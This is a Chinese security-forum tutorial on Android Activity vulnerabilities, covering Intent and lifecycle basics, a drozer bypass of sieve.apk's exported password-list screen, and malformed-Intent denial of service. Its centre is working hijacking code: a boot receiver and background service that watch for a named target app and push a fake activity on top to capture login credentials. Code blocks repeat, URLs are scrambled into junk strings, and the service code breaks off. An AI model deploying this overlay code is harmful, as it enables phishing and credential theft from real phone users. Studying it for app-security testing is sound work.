最近在总结Android APP漏洞挖掘方面的知识,上篇帖子Android漏洞挖掘三板斧——drozer+Inspeckage(Xposed)+MobSF向大家初步的介绍了Android APP漏洞挖掘过程中常见的工具,这里也是我平时使用过程中比较常用的三套件,今天我们来逐步学习和复现Android中 Activity漏洞挖掘部分知识,每个漏洞挖掘部分,我们都会选择具有代表性的样本案例给大家演示。
在学习Activity的漏洞挖掘之前,我们先对Activity的基本运行原理有一个初步的认识
首先,我们要启动Activity,完成各个Activity之间的交互,我们需要使用Android中一个重要的组件Intent
Intent一般分为显式Intent和隐私Intent:
显示Intent打开Activity:
隐式Intent打开Activity:
隐式Intent并不指明启动那个Activity而是指定一系列的action和category,然后由系统去分析找到合适的Activity并打开,action和category一般在AndroidManifest中指定
只有<action>和<category>中的内容能够匹配上Intent中指定的action和category时,这个活动才能响应Intent
我们这里只传入了ACTION_START,这是因为android.intent.category.DEFAULT是一种默认的category,在调用startActivity()时会自动将这个category添加到Intent中,注意:Intent中只能添加一个action,但是可以添加多个category
对于含多个category情况,我们可以使用addCategory()方法来添加一个category
隐私Intent打开程序外Activity:
例如我们调用系统的浏览器去打开百度网址
Intent.ACTION_VIEW是系统内置的动作,然后将027K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2T1j5h3W2V1N6g2)9J5k6h3y4G2L8b7`.`.通过Uri.parse()转换成Uri对象,传递给intent.setData(Uri uri)函数
与此对应,我们在<intent-filter>中配置<data>标签,用于更加精确指定当前活动能够响应什么类型的数据:
只有当<data>标签中指定的内容和Intent中携带的data完全一致时,当前Activity才能响应该Intent。下面我们通过设置data,让它也能响应打开网页的Intent
我们就能通过隐式Intent的方法打开外部Activity
向下一个活动传递数据:
Intent传递字符串:
Intent接收字符串:
返回数据给上一个活动:
Android 在返回一个活动可以通过Back键,也可以使用startActivityForResult()方法来启动活动,该方法在活动销毁时能返回一个结果给上一个活动
我们在SecondActivity中返回数据
当活动销毁后,就会回调到上一个活动,所以我们需要在MainActivity中接收
如果我们要实现Back返回MainActivity,我们需要在SecondActivity中重写onBackPressed()方法
Activity类中定义了7个回调方法,覆盖了Activity声明周期的每一个环节:
生命周期调用图:

我们这里之所以要介绍Activity的启动模式,是因为Activity界面劫持就是根据Activity的运行特点所实现的
Activity一共有四种启动模式:standard模式、singleTop模式、singleTask模式、singleInstance模式。下面我们简单介绍一下:
standard模式
如果不显示指定启动模式,那么Activity的启动模式就是standard,在该模式下不管Activity栈中有无Activity,均会创建一个新的Activity并入栈,并处于栈顶的位置
singleTop模式
singleTask模式
singleInstance模式
我们在上文中详细介绍了Activity的运行原理,接下来我们了解一些Activity的漏洞种类和应用的安全场景

样本 sieve.apk drozer.apk

首先,我们需要配置drozer的基本环境,具体配置操作,参考:Android漏洞挖掘三板斧——drozer+Inspeckage(Xposed)+MobSF
手机端打开代理,开启31415端口


我们尝试使用drozer去越权绕过该界面,首先,我们先列出程序中所有的APP 包
我们通过查询字段,可以快速定位到sieve的包名

然后,我们去查询目标应用的攻击面

我们可以看出,有三个activity是被导出的,我们再具体查询暴露activity的信息

说明我们可以通过强制跳转其他两个界面,来实现越权绕过

说明我们成功的实现了越权绕过


在进行Android 界面劫持过程中,我发现根据Android版本的变化情况,目前不同Android版本实现的功能代码有一定的差异性,再经过多次的学习和总结后,我复现而且改进了针对Android 6.0界面劫持的功能代码,并对不同版本的页面劫持做了一个初步的总结,下面是具体实验的详细过程:
首先我们新建一个服务类HijackingService.class,然后在MainActivity里面启动这个服务类
我们可以看到程序一旦启动,就会启动HijackingService.class
然后我们编写一个HijackingApplication类,主要负责添加劫持类别,清除劫持类别,判断是否已经劫持
说明:这个类的主要功能是,保存已经劫持过的包名,防止我们多次劫持增加暴露风险。
我们为了实现开机启动服务,新建一个广播类:
然后我们编写劫持类 HijackingService.class
我们编写劫持类中,最关键的就是如何获取当前的前台进程和遍历正在运行的进程,这也是Android版本更新后,导致不同版本劫持差异的主要原因,对这里我做了一个初步的总结:
我们编写获取当前目标进程的代码:
我们继续编写劫持替换的测试类
最后在我们的配置文件中加入相应的权限和配置信息:
我们需要将服务的时间设置成6秒,避免程序界面还未加载就劫持了
效果演示:
我们编写劫持类安装,打开:

我们可以发现劫持类在后台运行:

我们打开目标程序:

等待5秒,然后劫持成功,这个时间我们可以在代码段调整:

这样我们成功完成了对目标程序劫持,这里我只编写了一个简易的界面,大家可以编写更加复杂的界面,这主要是针对Android 6.0平台的劫持,各位也可以试试其他版本的平台

通过它提示程序进入后台来提示用户

因为现在这种漏洞在Android版本更新后,基本很少出现了,所以这里就不做复现和安全防护了
提到拒绝服务攻击,我们就不得不讲一下Android外部程序的调用方法:
我们查看一个目标应用的AndroidManifest.xml文件:
我们编写一个简易的APP程序,对目标程序进行拒绝服务攻击
这里我们传入一个空字符,使其产生错误
当然我们还可以使用我们的神器drozer来进行攻击

远程拒绝服务攻击:
还有其他类型的拒绝服务攻击,大家可以参考博客:
写到这里,这个帖子总算写完了,对Android的Activity漏洞挖掘的总结过程中,我又再一次将Android 的Activity组件运行的基本原理熟悉了一遍,学习就是不断的总结提高把,可能在编写的过程中,还存在很多不足地方,就请各位大佬指教了。
github首页:github
Intent是各个组件之间交互的一种重要方式,它不仅可以指明当前组件想要执行的动作,而且还能在各组件之间传递数据。Intent一般可用于启动Activity、启动Service、发送广播等场景。
Intent有多个构造函数的重载,Intent(Context packageContext,Class<?> cls)//参数1:启动活动的上下文 参数2:想要启动的目标活动
我们构建好一个Intent对象后,只需要使用 startActivity(Intent)来启动就可以了
Intent是各个组件之间交互的一种重要方式,它不仅可以指明当前组件想要执行的动作,而且还能在各组件之间传递数据。Intent一般可用于启动Activity、启动Service、发送广播等场景。
Intent有多个构造函数的重载,Intent(Context packageContext,Class<?> cls)//参数1:启动活动的上下文 参数2:想要启动的目标活动
我们构建好一个Intent对象后,只需要使用 startActivity(Intent)来启动就可以了
Intent intent = new Intent(MainActivity.class,SecondActivity.class); //实例化Intent对象
intent.putExtra("et1",et1Str); //使用putExtra传递参数,参数1:键名 参数2:键对应的值 我们可以使用intent.getStringExtra("et1")获取传递的参数
startActivity(intent); //启动Intent,完成从MainActivity类跳转到SecondActivity类
Intent intent = new Intent(MainActivity.class,SecondActivity.class); //实例化Intent对象
intent.putExtra("et1",et1Str); //使用putExtra传递参数,参数1:键名 参数2:键对应的值 我们可以使用intent.getStringExtra("et1")获取传递的参数
startActivity(intent); //启动Intent,完成从MainActivity类跳转到SecondActivity类
<activity android:name=".SecondActivity">
<intent-filter>
<action android:name="com.example.test.ACTION_START" />
<category android:name="android.intent.category.DEFAULT" />
</intent-filter>
</activity>
<activity android:name=".SecondActivity">
<intent-filter>
<action android:name="com.example.test.ACTION_START" />
<category android:name="android.intent.category.DEFAULT" />
</intent-filter>
</activity>
Intent intent = Intent("com.example.test.ACTION_START");
startActivity(intent);
Intent intent = Intent("com.example.test.ACTION_START");
startActivity(intent);
intent.addCategory("com.example.test.MY_CATEGORY");
intent.addCategory("com.example.test.MY_CATEGORY");
Intent intent = new Intent(Intent.ACTION_VIEW);
intent.setData(Uri.parse("cd8K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2T1j5h3W2V1N6g2)9J5k6h3y4G2L8b7`.`."));
startActivity(intent);
Intent intent = new Intent(Intent.ACTION_VIEW);
intent.setData(Uri.parse("636K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2T1j5h3W2V1N6g2)9J5k6h3y4G2L8b7`.`."));
startActivity(intent);
android:scheme:用于指定数据的协议部分,如https
android:host:用于指定数据的主机名部分,如b27K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3u0S2K9h3c8#2i4K6u0W2j5$3!0E0
android:port:用于指定数据的端口,一般紧随主机名后
android:path:用于指定数据的路径
android:mimeType:用于指定支持的数据类型
android:scheme:用于指定数据的协议部分,如https
android:host:用于指定数据的主机名部分,如9e1K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3u0S2K9h3c8#2i4K6u0W2j5$3!0E0
android:port:用于指定数据的端口,一般紧随主机名后
android:path:用于指定数据的路径
android:mimeType:用于指定支持的数据类型
<activity android:name=".SecondActivity">
<intent-filter>
<action android:name="com.example.test.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<data android:scheme="http">
</intent-filter>
</activity>
<activity android:name=".SecondActivity">
<intent-filter>
<action android:name="com.example.test.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<data android:scheme="http">
</intent-filter>
</activity>
Intent intent = new Intent(Intent.ACTION_VIEW);
intent.setData(Uri.parse("b93K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2T1j5h3W2V1N6g2)9J5k6h3y4G2L8b7`.`."));
startActivity(intent);
Intent intent = new Intent(Intent.ACTION_VIEW);
intent.setData(Uri.parse("692K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2T1j5h3W2V1N6g2)9J5k6h3y4G2L8b7`.`."));
startActivity(intent);
Intent intent = new Intent(MainActivity.class,SecondActivity.class);
intent.putExtra("et1",et1Str);
startActivity(intent);
Intent intent = new Intent(MainActivity.class,SecondActivity.class);
intent.putExtra("et1",et1Str);
startActivity(intent);
Intent intent = getIntent();
String data = intent.getStringExtra("et1");
Intent intent = getIntent();
String data = intent.getStringExtra("et1");
Intent intent = new Intent(MainActivity.class,SecondActivity.class);
startActivityForResult(intent,1); //参数1:Intent 参数2:请求码,用于之后回调中判断数据来源
Intent intent = new Intent(MainActivity.class,SecondActivity.class);
startActivityForResult(intent,1); //参数1:Intent 参数2:请求码,用于之后回调中判断数据来源
Intent intent = new Intent();
intent.putExtra("data",data);
setResult(RESULT_OK,intent); //setResult接收两个参数,参数1:向上一个活动返回处理结果,RESULT_OK或RESULT_CANCELED 参数2:把带数据Intent返回出去
finish(); //销毁当前活动
Intent intent = new Intent();
intent.putExtra("data",data);
setResult(RESULT_OK,intent); //setResult接收两个参数,参数1:向上一个活动返回处理结果,RESULT_OK或RESULT_CANCELED 参数2:把带数据Intent返回出去
finish(); //销毁当前活动
@Override
protected void onActivityResult(int requestCode, int resultCode, Intent data) { // 参数1:我们启动活动的请求码 参数2:我们返回数据时传入结果 参数3:携带返回数据的Intent
super.onActivityResult(requestCode, resultCode, data);
switch (requestCode){
case 1:
if(requestCode == RESULT_OK){
String returnData =data.getStringExtra("data");
}
break;
default:
}
}
@Override
protected void onActivityResult(int requestCode, int resultCode, Intent data) { // 参数1:我们启动活动的请求码 参数2:我们返回数据时传入结果 参数3:携带返回数据的Intent
super.onActivityResult(requestCode, resultCode, data);
switch (requestCode){
case 1:
if(requestCode == RESULT_OK){
String returnData =data.getStringExtra("data");
}
break;
default:
}
}
@Override
public void onBackPressed() {
super.onBackPressed();
Intent intent = new Intent();
intent.putExtra("data","data");
setResult(RESULT_OK,intent);
finish();
}
@Override
public void onBackPressed() {
super.onBackPressed();
Intent intent = new Intent();
intent.putExtra("data","data");
setResult(RESULT_OK,intent);
finish();
}
onCreate(): 在Activity第一次创建时调用
onStart():在Activity可见但是没有焦点时调用
onResume():在Activity可见并且有焦点时调用
onPause():这个方法会在准备启动或者恢复另一个Activity时调用,我们通常在该方法中释放消耗CPU的资源或者保存数据,但在该方法内不能做耗时操作,否则影响另一个另一个Activity的启动或恢复。
onStop():在Activity不可见时调用,它和onPause主要区别就是:onPause在失去焦点时会调用但是依然可见,而onStop是完全不可见。
onDestory():在Activity被销毁前调用
onRestart():在Activity由不在栈顶到再次回到栈顶并且可见时调用。
onCreate(): 在Activity第一次创建时调用
onStart():在Activity可见但是没有焦点时调用
onResume():在Activity可见并且有焦点时调用
onPause():这个方法会在准备启动或者恢复另一个Activity时调用,我们通常在该方法中释放消耗CPU的资源或者保存数据,但在该方法内不能做耗时操作,否则影响另一个另一个Activity的启动或恢复。
onStop():在Activity不可见时调用,它和onPause主要区别就是:onPause在失去焦点时会调用但是依然可见,而onStop是完全不可见。
onDestory():在Activity被销毁前调用
onRestart():在Activity由不在栈顶到再次回到栈顶并且可见时调用。
我们可以将活动分为3中生存期:
(1)完整生存期:活动在onCreate()和onDestroy()方法之间所经历的,从开始初始化到完成释放内存
(2)可见生存期:活动在onStart()和onStop()方法之间所经历的,主要包括资源的加载和资源的释放
(3)前台生存期:活动在onResume()方法和onPause()方法之间所经历的,主要是Activity的运行
我们可以将活动分为3中生存期:
(1)完整生存期:活动在onCreate()和onDestroy()方法之间所经历的,从开始初始化到完成释放内存
(2)可见生存期:活动在onStart()和onStop()方法之间所经历的,主要包括资源的加载和资源的释放
(3)前台生存期:活动在onResume()方法和onPause()方法之间所经历的,主要是Activity的运行
(1)启动一个Activity,这个Activity位于栈顶,则不会重新创建Activity,而直接使用,此时也不会调用Activity的onCreate(),因为并没有重新创建Activity
Activity生命周期:
onPause----->onNewIntent------>onResume
这个过程中调用了 onNewIntent(intent: Intent?),我们可以在该函数中通过Intent获取新传递过来的数据,因为此时数据可能已经发生变化
(2) 要启动的Activity不在栈顶,那么启动该Activity就会重新创建一个新的Activity并入栈,此时栈中就有2个Activity的实例了
(1)启动一个Activity,这个Activity位于栈顶,则不会重新创建Activity,而直接使用,此时也不会调用Activity的onCreate(),因为并没有重新创建Activity
Activity生命周期:
onPause----->onNewIntent------>onResume
这个过程中调用了 onNewIntent(intent: Intent?),我们可以在该函数中通过Intent获取新传递过来的数据,因为此时数据可能已经发生变化
(2) 要启动的Activity不在栈顶,那么启动该Activity就会重新创建一个新的Activity并入栈,此时栈中就有2个Activity的实例了
如果准备启动的ActivityA的启动模式为singleTask的话,那么会先从栈中查找是否存在ActivityA的实例:
场景一、如果存在则将ActivityA之上的Activity都出栈,并调用ActivityA的onNewIntent()
ActivityA启动ActivityB,然后启动ActivityA,此时生命周期过程:
ActivityB onPause----->ActivityA(onRestart--->onStart--->onNewIntent--->onResume)--------->ActivityB(onStop--->onDestroy)
场景二、如果ActivityA位于栈顶,则直接使用并调用onNewInent(),此时和singleTop一样
ActivityA启动ActivityA,此时生命周期过程:
ActivityA(onPause--->onNewIntent--->onResume)
场景三、 如果栈中不存在ActivityA的实例则会创建一个新的Activity并入栈。
ActivityA启动ActivityB,此时生命周期过程:
ActivityA(onCreate--->onStart--->onResume)
如果准备启动的ActivityA的启动模式为singleTask的话,那么会先从栈中查找是否存在ActivityA的实例:
场景一、如果存在则将ActivityA之上的Activity都出栈,并调用ActivityA的onNewIntent()
ActivityA启动ActivityB,然后启动ActivityA,此时生命周期过程:
ActivityB onPause----->ActivityA(onRestart--->onStart--->onNewIntent--->onResume)--------->ActivityB(onStop--->onDestroy)
场景二、如果ActivityA位于栈顶,则直接使用并调用onNewInent(),此时和singleTop一样
ActivityA启动ActivityA,此时生命周期过程:
ActivityA(onPause--->onNewIntent--->onResume)
场景三、 如果栈中不存在ActivityA的实例则会创建一个新的Activity并入栈。
ActivityA启动ActivityB,此时生命周期过程:
ActivityA(onCreate--->onStart--->onResume)
指定singleInstance模式的Activity会启动一个新的返回栈来管理这个Activity(其实如果singleTask模式指定了不同的taskAffinity,也会启动一个新的返回栈
我们可以通过这种模式去实现其他程序和我们程序能共享这个Activity实例,在这种模式下,会有一个单独的返回栈来管理这个Activity,无论哪个应用程序来访问这个Activity,都在同一个返回栈中,也就解决了共享Activity实例的问题
指定singleInstance模式的Activity会启动一个新的返回栈来管理这个Activity(其实如果singleTask模式指定了不同的taskAffinity,也会启动一个新的返回栈
我们可以通过这种模式去实现其他程序和我们程序能共享这个Activity实例,在这种模式下,会有一个单独的返回栈来管理这个Activity,无论哪个应用程序来访问这个Activity,都在同一个返回栈中,也就解决了共享Activity实例的问题
Activity的组件导出,一般会导致的问题:Android Browser Intent Scheme URLs的攻击手段
(1)拒绝服务攻击:通过Intent给Activity传输畸形数据使得程序崩溃从而影响用户体验
(2)越权攻击:Activity用户界面绕过会造成用户信息窃取、Activity界面被劫持产生欺诈等安全事件
(3)组件导出导致钓鱼欺诈
(4)隐式启动intent包含敏感数据
Activity的组件导出,一般会导致的问题:Android Browser Intent Scheme URLs的攻击手段
(1)拒绝服务攻击:通过Intent给Activity传输畸形数据使得程序崩溃从而影响用户体验
(2)越权攻击:Activity用户界面绕过会造成用户信息窃取、Activity界面被劫持产生欺诈等安全事件
(3)组件导出导致钓鱼欺诈
(4)隐式启动intent包含敏感数据
在Android系统中,Activity默认是不导出的,如果设置了exported = "true" 这样的关键值或者是添加了<intent-filter>这样的属性,那么此时Activity是导出的,就会导致越权绕过或者是泄露敏感信息等安全风险。
例如:
(1)一些敏感的界面需要用户输入密码才能查看,如果没有对调用此Activity的组件进行权限验证,就会造成验证的越权问题,导致攻击者不需要密码就可以打开
(2)通过Intent给Activity传输畸形数据使得程序崩溃拒绝服务
(3)对Activity界面进行劫持
在Android系统中,Activity默认是不导出的,如果设置了exported = "true" 这样的关键值或者是添加了<intent-filter>这样的属性,那么此时Activity是导出的,就会导致越权绕过或者是泄露敏感信息等安全风险。
例如:
(1)一些敏感的界面需要用户输入密码才能查看,如果没有对调用此Activity的组件进行权限验证,就会造成验证的越权问题,导致攻击者不需要密码就可以打开
(2)通过Intent给Activity传输畸形数据使得程序崩溃拒绝服务
(3)对Activity界面进行劫持
adb forward tcp:31415 tcp:31415
drozer console connect
adb forward tcp:31415 tcp:31415
drozer console connect
run app.package.list
run app.package.attacksurface com.mwr.example.sieve
run app.package.attacksurface com.mwr.example.sieve
run app.activity.info -a com.mwr.example.sieve
run app.activity.info -a com.mwr.example.sieve
run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList
run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList
防护策略:
(1)私有Activity不应被其他应用启动相对是安全的,创建activity时:设置exported属性为false
(2)公开暴露的Activity组件,可以被任意应用启动,创建Activity:设置export属性为true,谨慎处理接收的Intent,有返回数据不包含敏感信息,不应发送敏感信息,收到返回数据谨慎处理
防护策略:
(1)私有Activity不应被其他应用启动相对是安全的,创建activity时:设置exported属性为false
(2)公开暴露的Activity组件,可以被任意应用启动,创建Activity:设置export属性为true,谨慎处理接收的Intent,有返回数据不包含敏感信息,不应发送敏感信息,收到返回数据谨慎处理
原理介绍:
(1)Android APP中不同界面的切换通过Activity的调度来实现,而Acticity的调度是由Android系统中的AMS来实现。每个应用想启动或停止一个进程,都报告给AMS,AMS收到启动或停止Activity的消息时,先更新内部记录,再通知相应的进程或停止指定的Activity。当新的Activity启动,前一个Activity就会停止,这些Activity会保留在系统中的一个Activity历史栈中。每有一个Activity启动,它就压入历史栈顶,并在手机上显示。当用户按下back,顶部的Activity弹出,恢复前一个Activity,栈顶指向当前的Activity。
(2)由于Activity的这种特性,如果在启动一个Activity时,给它加入一个标志位FLAGACTIVITYNEW_TASK,就能使它置于栈顶并立马呈现给用户,如果这个Activity是用于盗号的伪装Activity,就会产生钓鱼安全事件或者一个Activity中有webview加载,允许加载任意网页都有可能产生钓鱼事件。
实现原理:
如果我们注册一个receiver,响应android.intent.action.BOOT_COMPLETED,使得开启启动一个service;这个service,会启动一个计时器,不停枚举当前进程中是否有预设的进程启动,如果发现有预设进程,则使用FLAG_ACTIVITY_NEW_TASK启动自己的钓鱼界面,截获正常应用的登录凭证
实现步骤:
(1)启动一个服务
(2)不断扫描当前进程
(3)找到目标后弹出伪装窗口
原理介绍:
(1)Android APP中不同界面的切换通过Activity的调度来实现,而Acticity的调度是由Android系统中的AMS来实现。每个应用想启动或停止一个进程,都报告给AMS,AMS收到启动或停止Activity的消息时,先更新内部记录,再通知相应的进程或停止指定的Activity。当新的Activity启动,前一个Activity就会停止,这些Activity会保留在系统中的一个Activity历史栈中。每有一个Activity启动,它就压入历史栈顶,并在手机上显示。当用户按下back,顶部的Activity弹出,恢复前一个Activity,栈顶指向当前的Activity。
(2)由于Activity的这种特性,如果在启动一个Activity时,给它加入一个标志位FLAGACTIVITYNEW_TASK,就能使它置于栈顶并立马呈现给用户,如果这个Activity是用于盗号的伪装Activity,就会产生钓鱼安全事件或者一个Activity中有webview加载,允许加载任意网页都有可能产生钓鱼事件。
实现原理:
如果我们注册一个receiver,响应android.intent.action.BOOT_COMPLETED,使得开启启动一个service;这个service,会启动一个计时器,不停枚举当前进程中是否有预设的进程启动,如果发现有预设进程,则使用FLAG_ACTIVITY_NEW_TASK启动自己的钓鱼界面,截获正常应用的登录凭证
实现步骤:
(1)启动一个服务
(2)不断扫描当前进程
(3)找到目标后弹出伪装窗口
public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
Intent intent2 = new Intent(this,HijackingService.class);
startService(intent2);
Log.w("hijacking","activity启动用来劫持的Service");
}
}
public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
Intent intent2 = new Intent(this,HijackingService.class);
startService(intent2);
Log.w("hijacking","activity启动用来劫持的Service");
}
}
public class HijackingApplication{
private static List<String> hijackings = new ArrayList();
public static void addProgressHijacked(String paramString){ //添加劫持进程
hijackings.add(paramString);
}
public static void clearProgressHijacked(){ //清楚劫持进程集合
hijackings.clear();
}
public static boolean hasProgressBeHijacked(String paramString){ //判断该进程是否被劫持
return hijackings.contains(paramString);
}
}
public class HijackingApplication{
private static List<String> hijackings = new ArrayList();
public static void addProgressHijacked(String paramString){ //添加劫持进程
hijackings.add(paramString);
}
public static void clearProgressHijacked(){ //清楚劫持进程集合
hijackings.clear();
}
public static boolean hasProgressBeHijacked(String paramString){ //判断该进程是否被劫持
return hijackings.contains(paramString);
}
}
public class HijackingReciver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
if(intent.getAction().equals("android.intent.action.BOOT_COMPLETED")){
Log.w("hijacking","开机启动");
Intent intent2 = new Intent(context,HijackingService.class);
context.startService(intent2);
Log.w("hijacking","启动用来劫持的Service");
}
}
}
public class HijackingReciver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
if(intent.getAction().equals("android.intent.action.BOOT_COMPLETED")){
Log.w("hijacking","开机启动");
Intent intent2 = new Intent(context,HijackingService.class);
context.startService(intent2);
Log.w("hijacking","启动用来劫持的Service");
}
}
}
private boolean hasStart = false;
private boolean isStart;
HashMap<String, Class<?>> map = new HashMap<String, Class<?>>();
//新建线程
Handler handler = new Handler();
Runnable mTask = new Runnable() {
@Override
public void run() {
Log.w("TAG","ABC");
int i =1;
//ActivityManager activityManager = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
//List<ActivityManager.RunningAppProcessInfo> appProcessInfos = activityManager.getRunningAppProcesses();
// List<ActivityManager.RunningAppProcessInfo> appProcessInfos = ((ActivityManager) HijackingService.this.getSystemService(Context.ACTIVITY_SERVICE)).getRunningAppProcesses();
//String Processesnew = ForegroundProcess.getForegroundApp();
//Log.w("TAG============",Processesnew);
List<AndroidAppProcess> Processes = AndroidProcesses.getRunningAppProcesses();
Log.w("hijacking", "=================正在枚举进程=======================");
//枚举进程
for( AndroidAppProcess appProcessInfo: Processes){
Log.w("TAG",appProcessInfo.name);
/*try {
Stat stat = appProcessInfo.stat();
int pid = stat.getPid();
int parentProcessId = stat.ppid();
long startTime = stat.stime();
int policy = stat.policy();
char state = stat.state();
Log.w("TAG","pid:"+pid+" parentProcessId:"+parentProcessId+" startTime:"+startTime+" policy:"+policy+" state:"+state);
} catch (IOException e) {
e.printStackTrace();
}
*/
String ProcessesRunning = ForegroundProcess.getForegroundApp();
Log.w("TAG============",ProcessesRunning);
if(map.containsKey(ProcessesRunning)) {
// Log.w("TAG","GHZ");
//如果包含在我们劫持的map中
if (map.containsKey(appProcessInfo.name)) {
Log.w("准备劫持", appProcessInfo.name);
hijacking(appProcessInfo.name);
} else {
//Log.w("hijacking",appProcessInfo.getPackageName());
//Log.w("abc","123");
}
}
}
handler.postDelayed(mTask,8000);
}
private void hijacking(String progressName){
//判断是否已经劫持,对劫持的过的程序跳过
if(!HijackingApplicaiton.hasProgressBeHijacked(progressName)){
Intent localIntent = new Intent(HijackingService.this.getBaseContext(),HijackingService.this.map.get(progressName));
localIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
HijackingService.this.getApplication().startActivity(localIntent);
HijackingApplicaiton.addProgressHijacked(progressName);
Log.w("TAG====hijacking","已经劫持成功");
}
}
};
@Override
public void onCreate() {
super.onCreate();
if(!isStart){
map.put("com.cz.babySister",SecondActivity.class);
this.handler.postDelayed(this.mTask, 1000);
isStart = true;
}
}
@Override
public IBinder onBind(Intent intent) {
// TODO: Return the communication channel to the service.
throw new UnsupportedOperationException("Not yet implemented");
}
@Override
public boolean stopService(Intent name){
hasStart = false;
Log.w("TAG====hijacking","劫持服务停止");
HijackingApplicaiton.clearProgressHijacked();
return super.stopService(name);
}
private boolean hasStart = false;
private boolean isStart;
HashMap<String, Class<?>> map = new HashMap<String, Class<?>>();
//新建线程
Handler handler = new Handler();
Runnable mTask = new Runnable() {
@Override
public void run() {
Log.w("TAG","ABC");
int i =1;
//ActivityManager activityManager = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
//List<ActivityManager.RunningAppProcessInfo> appProcessInfos = activityManager.getRunningAppProcesses();
// List<ActivityManager.RunningAppProcessInfo> appProcessInfos = ((ActivityManager) HijackingService.this.getSystemService(Context.ACTIVITY_SERVICE)).getRunningAppProcesses();
//String Processesnew = ForegroundProcess.getForegroundApp();
//Log.w("TAG============",Processesnew);
List<AndroidAppProcess> Processes = AndroidProcesses.getRunningAppProcesses();
Log.w("hijacking", "=================正在枚举进程=======================");
//枚举进程
for( AndroidAppProcess appProcessInfo: Processes){
Log.w("TAG",appProcessInfo.name);
/*try {
Stat stat = appProcessInfo.stat();
int pid = stat.getPid();
int parentProcessId = stat.ppid();
long startTime = stat.stime();
int policy = stat.policy();
char state = stat.state();
Log.w("TAG","pid:"+pid+" parentProcessId:"+parentProcessId+" startTime:"+startTime+" policy:"+policy+" state:"+state);
} catch (IOException e) {
e.printStackTrace();
}
*/
String ProcessesRunning = ForegroundProcess.getForegroundApp();
Log.w("TAG============",ProcessesRunning);
if(map.containsKey(ProcessesRunning)) {
// Log.w("TAG","GHZ");
//如果包含在我们劫持的map中
if (map.containsKey(appProcessInfo.name)) {
Log.w("准备劫持", appProcessInfo.name);
hijacking(appProcessInfo.name);
} else {
//Log.w("hijacking",appProcessInfo.getPackageName());
//Log.w("abc","123");
}
}
}
handler.postDelayed(mTask,8000);
}
private void hijacking(String progressName){
//判断是否已经劫持,对劫持的过的程序跳过
if(!HijackingApplicaiton.hasProgressBeHijacked(progressName)){
Intent localIntent = new Intent(HijackingService.this.getBaseContext(),HijackingService.this.map.get(progressName));
localIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
HijackingService.this.getApplication().startActivity(localIntent);
HijackingApplicaiton.addProgressHijacked(progressName);
Log.w("TAG====hijacking","已经劫持成功");
}
}
};
@Override
public void onCreate() {
super.onCreate();
if(!isStart){
map.put("com.cz.babySister",SecondActivity.class);
this.handler.postDelayed(this.mTask, 1000);
isStart = true;
}
}
@Override
public IBinder onBind(Intent intent) {
// TODO: Return the communication channel to the service.
throw new UnsupportedOperationException("Not yet implemented");
}
@Override
public boolean stopService(Intent name){
hasStart = false;
传播安全知识、拓宽行业人脉——看雪讲师团队等你加入!
最后于 2022-4-12 17:06
被随风而行aa编辑
,原因: